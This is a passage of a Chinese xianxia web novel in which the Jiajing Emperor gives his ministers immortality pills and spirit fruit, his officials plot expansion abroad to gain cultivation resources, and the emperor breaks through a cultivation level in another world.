吕芳会意后,立刻上前一步,快步朝着偏殿而去,而众人的目光几乎是粘在了吕芳的身上,一路目送他去偏殿,又目送他回来。 确切的说,是吕芳手里捧着的那个玉盒。 一时间,饶是严嵩,也不由的激动的挺直腰背。 想要回头去看,但又怕有失体统,只能心痒痒的,坐立难安的忍得辛苦。 嗯,这个时候,就体现出了站着的好处了。 可以肆无忌惮的使劲瞟着目光,盯着吕芳手上的东西猛看。 “朕这里,有些丹药,吃了可祛除身体病灶,暗疾,…还有些瓜果也不错,算是对你们的赏赐,吃了可养生,强健体魄。” 将众人的神情收入眼底,嘉靖笑了笑,抬手示意吕芳给众人发赏赐。 吕芳笑了笑,看着眼巴巴的内阁,再看了看自己身后的一些司礼监众人,瞪着眼,张大着嘴的陈洪,和他身后的干儿子黄锦。 以及,再司礼监并没有什么存在感的,随堂大监石三。别看石三似乎从未插手过朝中之事,但只有吕芳知道,宫里消息什么的都是他传。 一些宫里消息封锁,零零总总的事,都是由他处理的,比如最开始主子拆后院,这些苦力太监,都是石三在安排。 虽然石三也不知道拆院子做什么,但玉熙宫的消息,竟然没有一丝一毫的泄露。 这里头固然有东厂,西厂双重保险的缘故,但石三能把事做到如此地步,可见不凡。 至于陈洪,嗯,主子手里的一把屠刀,已经定型了的物件儿,自然也有用。 而黄锦,不用说!自己的干儿子,王府的时候,就跟着主子身边当玩伴一样的人。 所以,在一边内阁众人眼巴巴的观望中,吕芳默默的来到了司礼监自己人一边。 看到这一幕,严世蕃、高拱、张居正、赵贞吉等人,很是保持默契的狠狠瞪了一眼。 嗯,这一刻,几人似乎有种同仇敌忾的意思。 你吕芳几个意思?从改稻为桑到屯兵兴农,再到如今的整顿吏治,为国牺牲那么大,你们司礼监干了些什么?凭什么赏赐先给你们发? 皇上和两位殿下还看着呢,就搞黑幕? 面对众人的瞪眼,感受到身后那刀子一般的目光,吕芳内心却是毫无波动。 不急不缓的打开玉盒,而就在玉盒打开的瞬间,顿时一股清风倏然的窜出。 司礼监,陈洪几人先是一愣,而后突然像是本能的一般,开始猛吸了起来。 片刻的功夫,陈洪整个人都舒爽的闭上眼,只感觉全身突然没来由的一阵轻松。 一些长久背负的疼痛,似乎是也在这一刻,随着这一口‘仙气’的下肚儿消失一般。 对,没错,在他们看来,刚才从那玉盒中窜出来的,就是仙气! “该死,他们在吸什么!”小阁老严世蕃急的探着脖子,使劲的往高拱身上靠,想要看个清楚,盒子里到底有什么。 高拱嫌弃的几次想要推开都没能推开,不过他也好奇,那盒子里刚才窜进去的是什么。 嗯,他感觉刚才那盒子里,定是有什么东西跑出来了,还被这帮阉人给吃了! 可惜的是,那好东西第一口给了这些阉人,对待阉人的态度上,尤其是陈洪做的那些事,他也很是不爽,很不待见。 吕芳自然不会理会众人的想法,先是取出一个玉葫芦,而后将玉盒合上,放在桌上。 眼尖的严世藩,惊鸿一扫,看到了那静静躺在玉盒里,比鸡蛋还要大一些的青色果子。 果子?严世蕃一愣,不过紧跟着,他就激动了起来,那里头肯定是“仙果”。 “什么?”见严世蕃怔住的样子,高拱知道,他看到了,当即低声问道。 “哼!”回过神来的严世蕃先是斜睨了眼高拱,然后离得远远的,发出一声冷哼。 高拱:“……” 这一下,可把高拱给恨死了。 该死的严贼,刚才往老夫身上靠的时候,你可不是这个态度!倒严,必须倒严! “伸手。”吕芳拧开玉葫芦的盖子,陈洪会意赶紧伸出双手,小心翼翼的等待着。 其他人也都羡慕的看着他,即便是马上就轮到的黄锦,也是陈洪能第一个分到‘仙丹’。 这一刻,大殿内的所有人全都激动的等待着,也没有人再去质疑皇上的赐丹。 虽然刚才皇上没有明说这是仙丹,只是说一些延年益寿,去除病灶的丹药,但他们可不傻。 现在皇上得到仙人赐法,踏上了仙途,就连裕王跟景王也一样开始修仙了。 虽然皇上,乃至于皇家始终没有对外宣称过,但这些对内阁来说,都不是秘密了。 至于内阁之外的六部官员,经过这半年的争斗,早已经把当初的事抛在了脑后。 所以现在皇上赐下的丹药,他们想都不用想就知道,这肯定是传说中的仙丹无疑了。 陈洪看着手里,那朴实无华,看不出任何特殊之处的丹药,心头却激动异常。 看起来这丹药甚至还不如以往主子赐下来的那些假道士的丹药,但是这一刻,陈洪却明白了,什么是真正的好东西,永远朴实无华了。 好东西,是根本不需要什么花里胡哨,各种药香,或者是什么纹落之类粉饰的。 “都先别吃,等会听吩咐。”吕芳可没忘记,当初他跟陆炳吃丹药的时候,可是当场吐出了大量的脏血的。 嗯,他等会要给这些人,每个都准备一个痰盂,等会让他们都吐到痰盂里,免得凡人污血,玷污了主子这神圣的修行之地。 很快,在众人眼巴巴的注视下,司礼监几人人手捧着一颗丹药,静静的等着。 然后,吕芳又不紧不慢的来到走向清流最末尾,嗯,他是按照“S”型走位分发丹药的。 而清流派从前到后的站位是徐阶、张居正、高拱、严世蕃和赵贞吉。 如此一来,第一个领丹药的,就成了赵贞吉。 看着向自己走来的吕芳,赵贞吉瞪着大眼,当即就激动的伸出了双手,这富贵先轮到我了? 虽然他也知道这先后其实没什么区别,但药肯定都是一样的,但是此刻想到这是领仙丹,能早别人一步的话,心里那关至少是舒服的。 然而就在赵贞吉激动的时候,一个不留神直接被严世蕃一个抢位,顺势还不轻不重的挤了他一把,同时笑着道:“有劳吕公公了。” 嗯,这一套动作,可以说是做的滴水不漏,顺滑无比,既不唐突又不失了体统。一切看起来是那么的丝滑,顺畅,理所当然! 配合他脸上的笑容和说的话,给人的感觉就八个字,人情练达,登堂入室。 而此时,赵贞吉脸上的笑容还在,看着突然被换了位置的自己,陡然间脸上表情异常精彩。 “呵,”看着这一幕,吕芳不由发出一声轻笑,然后也不理会,拿着玉葫芦对严世蕃的双手里倒了一颗,然后走向赵贞吉,道: “赵部堂,以后可要时时警惕着了。” 一般情况下,如果兼着六部某一部,在宫里吕芳习惯用部堂称呼,显得亲切和得体。 若是没有兼着某一部的,吕芳则是统一用某某学士来称呼,比如张居正,就称呼张学士。 像是其他官员,在私下里都是叫内阁这些人为某某阁老的,以示尊敬和亲切。 内阁诸老,是一种下官对上官的习惯性尊称,某某人单独拿出来,就是某某阁老了。 即便真正的阁老只有首辅和次辅。 但官场上嘛,讲究的就是个,官大官小不要紧,见面往大叫。 当然,也要注意一个度。一个九品官,你要是称呼部堂之类的,就别想混了。 如今在内阁,又是殿上,赵贞吉兼着户部尚书,自然是用“部堂”来称呼最合适了。 “谢吕公公了……”赵贞吉收敛笑容,捧着丹药对吕芳道了一声谢,而后刮向严世蕃。 对此,严世蕃则一副你奈我何的神情。 “严阁老,这是您的。”很快,吕芳给发到了最后一个严嵩。 对于修仙者的吕芳来说,这大殿上只有三个人需要他注意,那就是皇上,裕王和景王。 这三人,是主子,自然不同。 其他的,像是严嵩或者徐阶,都是凡人! 所以他在给众人发丹药的时候,也没有讲究什么走位,“S”型舒服顺路,就走了。 “有劳公公了。”严嵩接过丹药,始终保持平静,但话音多少有点不平静。 “这丹药吃了,会将你们身体的一些杂事,暗疾,毒素排出体内,”这时,嘉靖看完了下面众生相后,打趣着抬了抬手指,“所以,吕芳才让你们等等,这老货是怕打扫麻烦。” 见嘉靖说的轻松,众人也明白了吕芳的意图,至于说吕芳怕打扫麻烦?他们自然都听的明白,这是皇上的一个说辞罢了。 随着嘉靖的玩笑声落下,裕王跟景王也适时的轻笑出声,大殿内的气氛也跟着一松。 众人不奇怪裕王跟景王为什么没有丹药,这几乎是想都不用想就能知道。 二王已经开始修仙了,对这些丹药自然不看中了,说不定那玉盒里的灵果也吃了不少。 不一会,吕芳带着一群手捧痰盂的小太监走了进来,来到司礼监和内阁每个人跟前。 “开始吧。”吕芳看了眼众人说道。 闻言,严嵩等人全都齐齐吞下手里的丹药,而后不一会的功夫,众人都是面色聚变,陈洪第一个没憋住,直接抱着痰盂将污血吐出。 之后,严嵩、徐阶、高拱、张居正、赵贞吉等人,纷纷扛不住,开始抱着痰盂吐了起来。 一时间,大殿上弥漫着一股浓郁的腥臭之味,嘉靖早早的用灵气隔绝了口鼻,同时周身有淡淡的灵气附着,隔绝污秽。 裕王跟景王等人只能用白帕子捂着口鼻。 吕芳刚刚突破,还不能如此精妙的控制灵气,只能用帕子捂住嘴。 倒是严嵩等人,此刻只觉得全身舒爽,像是恢复了到了壮年一般。 严嵩脸上的皱纹虽然没变,但那些色斑却是消失的干净,佝偻的背也挺直,徐阶也差不多。 感受到身体发生的变化,众人心中除了震惊,还是震惊,仅仅是一颗丹药就让他们有如此惊人的变化,若是修仙了呢? 一时间,众人心中那股渴望再也无法压制了。 他们也要修仙! “都下去吧。”吕芳摆摆手,捧着痰盂的小太监,只能强忍着恶心和呕吐感快速离开。 嗯,此时,严嵩等人也注意到了大殿中弥漫的臭味,顿时一个个歉意看向嘉靖。 “臣等有罪,得天眷顾,却玷污了皇上的宫殿,还请皇上降罪。”说着,齐齐跪下。 嗯,他们心中感激之余,还有歉疚。 “不必,尔等都是朕的臣子,是大明的肱骨之臣,朕岂会嫌弃你们?”嘉靖说着,轻笑道:“有吕芳这老东西打扫呢。” 随着,嘉靖的话音落下,吕芳也微微一笑,上前一步,然后在众人疑惑的注视下,指尖一道小巧的符箓随着他大手一挥,霎时间大风涌动。 “哗哗哗!”整个玉熙宫内,纱帐浮动,案桌上文书、奏本更是自动翻页。 严嵩、徐阶等人的须发,衣袍都在这一刻被吹的哗哗作响,眯着眼几乎睁不开。 但每个人,此刻都惊恐的瞪大着眼,看着吕芳的背影,这一刻他们仿佛看到了仙神。 而后,他们心头就一个念头,吕芳也修仙了!? 突然,众人心中猛的一惊,继而也顾不上冒犯,看向那位浑身惬意舒适坐在御座上的皇帝。还有皇帝两手边的两个皇子。 他们看到了一座无可质疑的帝山! 而这座帝山之上,独有皇帝一人,俯瞰诸臣,大明天下! 虽然皇上没有施展任何手段,可他们知道,吕芳都能有如此手段,那皇上又该何等强大? 一时间,众人仿佛蝼蚁在望苍天一般。 不见修行,拜帝如见青山,得见修行,见帝如蚍蜉望苍天,心中只有无尽的敬畏和恐惧。 “……” 第一百一十九章 严党、清流:大明似乎有点小了,必须对外扩张! “还有些果子,都拿去分了吧。”嘉靖说着起身,朝着玉熙宫偏殿而去。 “臣等,谢陛下。”该说的,该安排都安排完了,众人自然也都听出了嘉靖话里头的送客意味,于是纷纷恭送。 “诸位,”嘉靖离开后,吕芳也抱着玉盒,笑着道:“来我这里拿吧,果子一人一颗,最好是回去的路上就吃了,放久了可就不好了。” 有了之前严世蕃跟赵贞吉之间的小闹剧,吕芳则是打开玉盒,让众人自行上前来领取。 在目送嘉靖离开之后,听到吕芳说让他们自行上前来领取果子,这一刻不论是老谋深算的严嵩和徐阶,又或是时刻保持着君子风度的张居正,所有人都在这一刻没了分寸。 转身便迈着急促的小步子一拥而上,将吕芳给围在了中间。 每个人都探着脖子,眼巴巴的看着那玉盒里边放着的,似乎从来没有见过的青绿色果子。 只见果子上,似乎还隐隐有一层淡淡的白霜。就像是在大冬天的某个小园子里,趁着新鲜,被刚刚采摘下来的一样。 虽然如今正值正月,也不过是早春,天气依旧寒冷异常,但是没有人会认为这些果子,是在大明某个地方结出来的。 一来,如今正是天寒地冻的时候,根本不可能有果子结出来。二来,他们已经认定了嘉靖得到了天上仙人赐福,而仙人从哪里来呢? 毫无疑问,就是那传说当中的仙界。 那自然而然的,无论是仙丹又或者是面前的仙果,都是来自仙界,仙人赐下。 此前没有人会想到今天就是一个普普通通的御前议政,竟然会有这么大的赏赐降下。 可以说,皇上这次真的是给了他们所有人一个,巨大的惊喜! “严阁老,这是你的。”,吕芳先拿起一颗灵果递给了严嵩。 “有劳吕公公了。”严嵩双手捧过灵果,而后面露笑容,对着吕芳满是谦卑的道谢。 如果说此前,严嵩在面对吕芳的时候,最多不过就是客客气气,表面上过得去就行。 甚至,偶尔在神情态度之上,还隐隐约约的会有一种淡淡的俯视和疏离态度。毕竟他是当朝首辅,内阁当中一人之下万人之上的权臣。 而吕芳,说白了不过是皇帝养的一个家奴而已。 一个家奴,就算再怎么得宠,他严嵩在心理上,也不会将其放在同等位置上。 但是现在不同了,现在的吕芳不再是简单的家奴那么简单,而是跟着皇上一起修仙的。 而且看到吕芳挥手间施展出来的手段,很显然,已经正式的踏入了仙途,成为了之前景王殿下口中所说的修仙者。 要知道,现如今即便是景王和裕王二位殿下,也都没有真正的踏入仙途,成为修仙者。但吕芳,却是抢在所有人之前成功踏入仙道。 所以,此时再次面对吕芳的时候,严嵩的心中,早已经收起了那一份轻视,取而代之的是面对仙人一般,谦卑谨慎的态度。 这就是严嵩,永远会审时度势,见风使舵,而且拿捏的分寸,还非常的到位。 最重要的是,他还非常的有能力,有手腕,让用他的人非常的舒心。 突破练气一层后,吕芳六识和各方面的感知都很敏锐,他自然是感受到了此刻,严嵩对他那不经意间,流露出来的谦卑态度。 对此,他只是笑了笑并未放在心上。 以前他都没有太过在意这个内阁首府,更何况是现在呢。 清流也好,权臣也罢,这些文人士大夫对他们这些阉人,从来都没有放在过心上。 但他可不是陈洪这种小肚鸡肠,自尊心和报复心又极强的人。 家奴永远是家奴,跟皇帝永远是一条心,而他们这些清流权臣,就算权势滔天又如何? 权力也是来源于皇上给他们的。想要舍弃他们的时候,自然也会毫不犹豫的舍弃。 而像他们这些伺候主子的家奴,只要表现的好,懂得生存法则,基本上每个都能安然活到晚年,风险大大降低。 而现在他已经是高高在上的修仙者,跟凡人之间已经存在了一个本质的区别,自然更不会将严嵩等人的想法放在心上。 是谦卑尊敬,是不屑,都无所谓了。 他现在追求的是,紧紧跟随主子的步伐,迈上那永生无极的长生大道。 “徐阁老,这个是你的……” “张学士拿好了,回去记得一定要提早吃……” “小阁老,这个是你的……赵部堂……” 不一会儿的工夫,吕芳便给内阁和司礼监众人发完了灵果。 “都领了果子便回去享用吧。主子还要清修,诸位在这里也不便叨扰。”吕芳怀里抱着空玉盒,笑呵呵的对着众人说道。 “我等明白。我等对皇上赐下仙丹和仙果,打心底感激,只是不敢打扰陛下清修,这就告辞。”严嵩笑呵呵的说着,然后抬了抬手。 一旁的严世蕃赶紧上前扶着,然后众人也对吕芳拱手示意后便陆续出了玉熙宫。 至于裕王跟景王,则是留了下来。 毕竟,上次的事情过去后,他们俩兄弟斗的可以说是各有胜负。 因此二人都先后被禁制入灵田小院修炼,又被赦免,允许入宫修行。 几个月过去了,他们体内,引气入体需要打通的穴窍,此时也已经被打通了不少。 按照父皇之前的估算,他们怕是明年这个时候,就可以着手突破练气一层了。 一年多的时间,比吕芳慢了小半年。 群臣出了玉熙宫后,此时可以说是每个人的内心都激荡无比。 饶是被严世蕃扶着的严嵩,虽然此刻不再佝偻着背了,身体也健康无比,但依旧是浑身都在隐隐发着颤,一只手死压着胸口位置。 “爹,这果子,是不是就是景王殿下之前说的灵果?属于是修仙资源的一种?” 严世蕃压低的声音中,透着一股紧张。 修仙资源是什么,他们从景王口中,已经知道不少了,甚至日后大明是要发展成仙朝的,那时候天下最重要之物,就是这种资源! “应当错不了,”严嵩说话间,脚步微微一顿,回头看了眼同样凑在一起,低声交谈的徐阶等人,然后沉声道: “听殿下说,灵果普通人吃了,除了能调养身体,让人更健康,不会轻易得病外,最重要的就是会让身体逐渐的适应灵气。” “而当身体适应了灵气后,接下来若是得到仙法,就可以辅助灵物资源,踏上仙途!” 说到“踏上仙途”四个字的时候,严嵩的语气都隐隐发着颤,严世蕃同样是呼吸急促。 “世蕃,”严嵩说着,深吸一口气,“接下来,一定要好好辅佐景王殿下,同时也要尽可能的在地方上安排我们的人!” “用心辅佐殿下的原因是,皇上正在培养二位殿下,我们这些人的用处,就是要让二位殿下快速的成长起来!” “达到皇上想要让他们监国的期望!” “而在地方上安排我们的人,那是因为未来的大明土地,很有可能会用来发展成景王殿下口中所说的灵土,用来培育这些灵物资源。” “以后的大明,凡俗的钱财,字画,都不重要了,重要的是灵物资源!” “北边草原、南边的诸国……”严嵩说着,眼神中闪烁着一种贪婪的光芒,“等大明国力强盛之后,必须要发动对外战争!” “爹?!”听到老爹的话,严世蕃一愣,只是看着身边的老爹,只觉得毛骨悚然。 听出来了老爹话语当中的意思。 为了更多的土地资源,确切的说,是为了更多的灵物资源,只能去吞并,入侵那些国家! 然后,将他们的土地,变作大明的土地,用来培育更多的灵田,然后这些灵田上,种满了灵稻、灵瓜、灵果,如此资源就会越来越多。 “正如我们之前所想的那样,”严嵩语气温吞,道:“大明可能一大半以上的灵物资源,是要交给仙人的,这点毋庸置疑!” “然后剩下的灵物资源,才是轮到皇上使用的。” “而皇上还要分出一部分资源,用来发展大明仙朝,比如军队,仙朝自然也要有修仙大军了,这些是仙朝的立足在根本。” “不用都能知道,必须要发展的,此外就是灵田的培育,需要人手,这些人也需要灵物资源,如此一来剩下的资源就更少了。” “而这些剩下的富余资源,全都是二位殿下的。” “等到二位殿下用完以后,才是我们这些人的,”说着,严嵩轻叹一声,看向严世蕃,道:“你自己想想,那时够用吗?” “我们修仙了,家族呢?” “而且,景王殿下可是说的明明白白,清清楚楚了,就算是修仙者,如果境界一直不突破的话,那迟早会寿元耗尽而死。” “所以,若想要富余的资源更多,就只能让大明的灵土越来越多,资源越来越多。” “我明白了爹……”严世蕃眼神中也有狠色浮动,“为了我们严家,我们一定要努力,让大明变得更强,可以吞并所有土地才行!” “不,”然而严嵩听到他的话,却是摇摇头,道:“大明最后走向对外扩张之路是必然的。因为发展仙朝,资源远远不够!” “所以,我们必须要提前开始布局。” “而等到大明要对外扩张的那一天开始,我们的布局手段就可以当做是一份儿功劳。那时,皇上才会赏赐下更多的资源给我们。” “爹,您有打算了?”听到老爹这么一说,严世蕃眼前一亮,激动的问道。 老爹向来都是谋而后动的,既然这么说,显然是已经有了一些打算。 “还没有想好,只是有了一些想法而已,不说这些了,先回去吧……”说着,严嵩来到了轿子前,在严世蕃的服侍下进了轿子。 而严嵩跟严世藩在提前谋划他国,为大明日后领土扩张,做提前布局的时候,清流一派也没有闲着,都意识到了土地的重要性。 也知道了,土地就意味着大面积的灵土,也就意味着他们能分到的更多资源。 所以,都开始了想着如何提前布局。 事关长生,徐阶等人此刻也冒出了一个想法,那就是对外发动战争,南征北掠,吞并周边诸国,甚至是海外诸岛…… 总之,嘉靖的一次稍微赏赐,却撩拨动了群臣心中那颗本就火热的心。 此刻,所有人都是一个共识,那就是大明未来大半的资源,会归仙界的仙人所有。 之后要经过皇上、国家所需,二位殿下,最后才能轮到他们这些人,根本不够吃!这一刻,他们才深切的意识到,大明似乎有点小了。 内阁众人心中所想,嘉靖自然不知道。 此时,他在将裕王和景王二人打发后,便宣陆炳入宫了。 “回禀皇上,陆炳不负皇上所托,大明仙武卫第一批孩子,总共选人三千,经过淘汰补充,陆续总数将近四千多人……” 灵田小院之中,陆炳恭敬的对着嘉靖汇报着自己大半年来,培养仙武卫的成果。 “现如今,只剩下一千个合格孩子,这些孩子,年龄最长者十五岁,最小者六岁。” “其中,男孩六百二十五名,女孩三百七十五名,这些孩子经过半年的训练,人人都可以识字读书,做学问,并熟读百家典籍……” “此外最重要的是,他们都是孤儿,这些筛选下来的孩子,不论是忠诚度,又或者是对命令的服从度上都极高。” “因此,臣打算下个月开始正式传授他们‘仙武法’,开始培养第一批仙武卫。” 看着陆炳呈上来的奏本中,关于仙武卫这批孩子的筛选过程,还有每个孩子的姓名,性格,喜好,嘉靖满意点头,道: “文孚,做的不错!” 他给陆炳仙武法的时候,要求是三年时间内,培养出第一批仙武卫。 但陆炳没有急于求成,而是用大半年的时间去全方位的筛选可以成为仙武卫的孩子。 不仅如此,他还教这些孩子读书识字,甚至就连琴棋书画、女工刺绣都教了。 完全是按照培养一些小家族继承人的标准来培养这第一批仙武卫的孩子的。 对此,嘉靖表示很满意! 因为这第一批仙武卫,以后会是无数仙武卫的领头者,所以这些人必须是人中龙凤。 “剩下两年多时间,吕芳会配合你,”嘉靖说着,将奏本递给吕芳后,又道:“为了给朕培养仙武卫,你的修为也拉下不少。” “文孚,辛苦你了!” 之前,陆炳还时常进宫,抽空修炼,挑选孩子,他都让自己的儿子陆绎去办。 但随着这些孩子的筛选条件越发的细致严格,他几乎不怎么进宫修炼了。 日常修炼,全靠着吕芳不时给他送去的灵瓜,灵果,还有灵米和一些灵源支撑。 以至于按照原本的计划,吕芳突破练气的时候,他也就差不多打通全部穴窍,开始朝着练气一层修炼,突破了。 但现在吕芳已经突破练气一层了,他如今引气入体所需打通的全身二百一十个穴窍,还剩下四五个,等到他开始修炼,估计要等到明年。 差不多明年中旬的时候,才能入练气一层。 “为了皇上,陆炳做这些都是值得的!”陆炳笑着摆摆手,表示并不在意,“再说有皇上赏赐的灵物资源在,陆炳会追上来的。” 一旁的吕芳也是敬佩的看着陆炳。 开始修仙了,他才知道修仙的重要,但陆炳竟然可以为了培养仙武卫,耽误自己的修炼,这份忠心,没有辜负主子给他仙法的恩情。 “该挑选的都挑选完了,你身上的担子也可以适当放一放,接下来就是正式培养了。”嘉靖说着,面容微缓的指了指陆炳,道: “吕芳接下来会开始炼丹,炼药……在培养仙武卫上,辅助丹药可以找他要。银两直接从朕的内帑拿钱就行,这笔钱不用走户部的账。” “是!”陆炳抱拳认真道。 之后,又留着陆炳修炼到晚些时候,留着他吃了饭后,这才让吕芳将其送出宫。 “主子,文孚回去了。”吕芳回来后,恭敬的说道。 “朕的小国师,近来如何了?”负手而立,凝视着天际的晚霞,嘉靖突然像是想到了什么,轻笑着问道:“之前仙人之事闹那么大,还都跟她的预言有些关联,她就没说点什么?” “回主子,国师什么都没有说,”吕芳笑着摇摇头,道:“不过倒是听黄锦说,她时常站在玄圃宫的高处,望着天上的星星。” “那你说,她相信钦天监说那些鬼话吗?”嘉靖轻笑着反身,朝着玉熙宫内走去。 “主子当初赐尊号,清风玄灵守真慧悟真人,以国师的聪慧,定是不相信的。”吕芳快步跟上嘉靖的步伐,笑道:“想来她也在想,天上是不是真的有仙人这件事了……” “嗯,”嘉靖点了点头,道:“朕的这个小国师,她肯定是猜到了些东西的。” “她能是我大明国师,自是她的机缘。”说完,嘉靖话锋一转,抬了抬手,道: “屯兵兴农的国策基本上已经稳定了,边疆卫所制有唐顺之坐镇,朕很放心,卫所制恢复只是时间问题,吏治已经整顿,财政足以支撑,第一阶段的土地改制变法……” “这大半年,朕修炼时境界有所松动,也该到了闭关突破的时候了。” 没错,这半大年的时间,虽然嘉靖不执着于突破,但每日坚持的运转功法修炼,还是很有作用的,境界已经松动了两次。 隐约间,他有预感,再有两三次,他就可以突破练气六层了。 这原本也就是他的计划。 他会在大明这边待到屯兵兴农的国策结束,卫所制稳定步入正轨,整顿吏治结束,财政问题解决,土地改制开始后再入修仙世界。 这一次,他必然是要突破到筑基的。 不知道是不是因为,大明现如今的一些浓疮、烂肉都被剜掉,开始新生的关系,识海中,本命大明上空那些黑气已经消失不见。 虽然依旧看起来灰蒙蒙的,但情况已经改善太多,所以他修炼的速度又有所提升。 这也让嘉靖,越发的期待,等到筑基后,诞生神识,本命和本命物绑定后,会迎来怎样的一波修为上的反哺。 “主子要闭关了?”听到主子又要闭关,吕芳先是一愣,而后立刻恭喜道: “恭贺主子帝君,修为又有精进!” “嗯,”嘉靖笑着点点头,道:“等朕闭关后,你没事可以带着那丫头也一起修炼着。” “不管怎么说,也是我大明国师,虽然一直被当做棋子利用,但也是有功的。” “便赏一条仙路给那丫头吧……” “是。”吕芳躬身应下,对于主子会给小国师一条仙路,他并不意外。 这国师,年龄虽然小但看事却很明白。 就算知道自己是棋子。皇上要用她的名义,做些脏事也从不在意,反而看的很是明白。更不恃宠而骄,算是一个很不错的小姑娘了。 以后大明高层都要踏上仙途的,赏个有功劳有身份的小丫头一条仙路,并不为难。 “这是一个九品储物袋,”嘉靖说着,抬手拿出之前自己不用的储物袋,道: “朕就赐给你了,里头有一百两灵源,留给文孚三十两,用作修炼。” “裕王和景王二人,各自十两。他们二人还在打穴窍的阶段,灵源太多只是浪费,有灵田小院在,足够他们修炼所需的了。” “你现在是练气一层,短时间内别想着突破练气二层,这需要海量的灵气……”说着,想到还不知道吕芳的本命,不过想来也不会太过强大,否则吕芳突破不会这么慢。 于是,嘉靖语气微缓,又道:“剩下的五十两,用作你炼丹,炼药,以及灵田小院的维护所需,剩下的你可以用来稳固修为。” “主子,这乃是仙家之物,给奴婢,会不会太,太……”吕芳跪在跟前,双手捧着储物袋,抬高,掠过脑袋,激动的语无伦次。 “给你,拿着便是。”九品储物袋,嘉靖并不在意,这次他是要铁了心突破筑基的,到时候搬用物品,直接通过本命就行。 这些储物袋,其实作用并不太大。 多余的储物袋,给吕芳这个大明如今唯二的修仙者,也算是物尽其用了。 “是,奴婢谢主子恩赐!”吕芳赶紧道谢。 “老规矩,朕闭关后,玉熙宫会被禁制封锁,不许任何人进出,想入灵田小院,从不久前开的右侧小院进入,那里由你坐镇。” “若是朝中有什么大事发生,每日在玉熙宫前祷告,说明缘由,朕自会知晓。” “嗯,退下吧。”嘉靖摆了摆手,道:“等朕下次出关,大明也必将跟着焕然一新。” “是,奴婢省得了。”吕芳说着,缓缓起身。 等吕芳退出宫殿后,嘉靖大手一挥,禁制飞出,封禁了整个宫殿,而后深吸一口气,暗道: “闭关大半年,不知道刘权的野市,办的如何了。” 想着嘉靖平复心情后,勾动修仙世界。 “……” 第一百二十章 练气六层,穷人才御剑飞行,独孤英出关,给嘉靖准备的好处! “嗡!” 随着空间涟漪荡起,感受到天地间浓郁的灵气波动,嘉靖双眼缓缓睁开。 环视了一圈四周,禁制符箓的作用还在,不过嘉靖并未急着去解除禁制,而是拿出灵源服用之后,继续开始运转功法,修炼了起来。 之前在大明,练气五层的修为,波动了三次,再有一次波动,就能突破。 他打算突破到练气六层再出去。 很快,嘉靖开始运转‘引气诀’,灵气照着行功路线开始运转,灵气不断激荡。 房间内,道道灵气开始围绕嘉靖,形成了一个灵气漩涡,将嘉靖裹挟。 身为大明仙宗四长老,嘉靖的住处,自然也是有聚灵阵布置的。 不仅如此,独孤汉在梳理灵脉的时候,可是给每个宗门高层的住处,还有一些重要之地挖出了不少的支脉,引流到这些地方。 嘉靖的住处,也有一条灵脉支流。 当然,此前的传承阁内,依旧有支脉盘踞,和聚灵阵钉固,确保灵气凝而不散。 所以,即便是自己的居住院落修炼,嘉靖也相当于是坐在灵脉之上修炼的。 修炼无岁月。 匆匆三个月的时间过去了。 “嗡嗡嗡!”房间里,嘉靖周身一道道食指粗细的,透明色液体,不断的进入嘉靖身体之中,阵阵浓郁的灵气波动从他周身散发而出。 这透明色的液体不是别的,正是灵源的真正模样。 灵源说白了就是一种深埋地底,经过无尽岁月沉淀后,形成的一种灵气荟萃而成的精华液体,灵源来源于灵脉,成形极为严苛。 用一句得天独厚来形容也丝毫不为过。 不同的是灵脉这东西哪怕就算是品阶最低的九品灵脉,也足以庇护一地形成一片灵气福地。 而且千年内还不会轻易枯竭。 一旦在修仙世界,发现并未被书院标记登记的无主灵脉,那么就会遭到各方争抢。 当然,前提是这东西在被他人抽取,或者是争抢之前,书院的人没有赶到。 否则,不管你是谁,你只有两个选择,要么跟书院作对当场逃了,但日后被发现就是死,要么就是乖乖的上缴,得到书院的奖励。 而修仙世界的通用货币“灵源”就是从灵脉中抽取而出的。 “嗡嗡嗡。” 终于,不知过了多久,只见那一道道透明粘稠的灵源开始缓缓变细,而后像是不断的被嘉靖的身体抽离一样,终于那从储物袋中抽出的灵源,在发出“啵”的一声轻微的声响后断裂。 那半截灵源则是被嘉靖的身体完全吸收。 不仅如此,他周身的灵气漩涡,也跟着像是被巨大的漩涡吸引,坍塌,压缩,终于只听得,无形中“咚”的一声闷响。 “哗!!!”紧跟着,下一刻,嘉靖周身的灵气猛的爆发。剧烈的灵气风暴席卷了整个屋子,吹得衣物纸张翻飞。 “哗哗哗。”嘉靖的衣袍不断的鼓荡,长发翻飞,一股比之前还强的气息爆开。 嘉奖的双眼也跟着猛的睁开。 “呼!”随着一口浊气吐出,房间内充斥着的灵气波动,也终于平息下来。 “突破了,练气六层。”嘉靖的脸上,不由浮现出一抹满意之色,“只剩下三个境界了,三年内突破到筑基期,应该不是难事……” 没错,嘉靖给自己定了一个目标。 最晚三年内突破筑基期,那时大明那边土地改制变法第一阶段也就完成了。 第二个阶段的土地改制变法开始的时候,他绑定本命,有助于更好的改造大明。 而且,三年后也正好是嘉靖四十四年,也就是三十九年,他写下的五年后白银流入危机。 一切他都算计的好好的,只需要按部就班的稳定发展,让大明蜕变就是了。 而且现在的本命大明,虽说没有绑定本命物,但随着自己对大明的不断修复,对他修为上的帮助,已经是隐隐能感觉到变化了。 就比如在大明的时候,他就让境界波动了三次,这与本命被一点点修复,之前那个千疮百孔的大明,正在变好,不无关系。 这三年时间内,随着卫所制恢复,吏治的重建,本命大明,也会越来越好。 那时本命物再绑定,嘉靖相信那时,反哺到他身上的修炼速度,绝对快的吓人! “该出去看看了。”想着,嘉靖挥手撤去了周围的禁制和阵法,然后推门来到了院子里。 而几乎是在嘉靖撤去院落守护阵法的第一时间,突然就察觉到一股别样的感觉。 就像是有一道目光,从他身上掠过一般,而随着他修为越深,对这种窥视一般的感觉,就越发的敏感,有种被人看穿的感觉。 这种感觉,让他很不舒服。 不过好在这一道目光,似乎并未有隐藏自己的意思,而且对他的探查也只是留于表面。 “这种感觉是…神识?!”对于神识扫视的感觉,嘉靖并不陌生。 之前,掌门独孤英就用神识看过他一次,然后刘权就坐着飞毯来找他了。 掌门,独孤英出关了吗? 想到那没有敌意,并且只是留于表面的简单探查就撤回,嘉靖心中顿时了然。 其实在修仙世界,用神识看人是很失礼的一种行为,此前嘉靖也不是很明白,只是听刘权,和阅览一些“修行通识纪要”时了解。 嗯,主要原因是因为神识这东西,穿透力很强,一眼看去,基本上对方就是“裸”的。 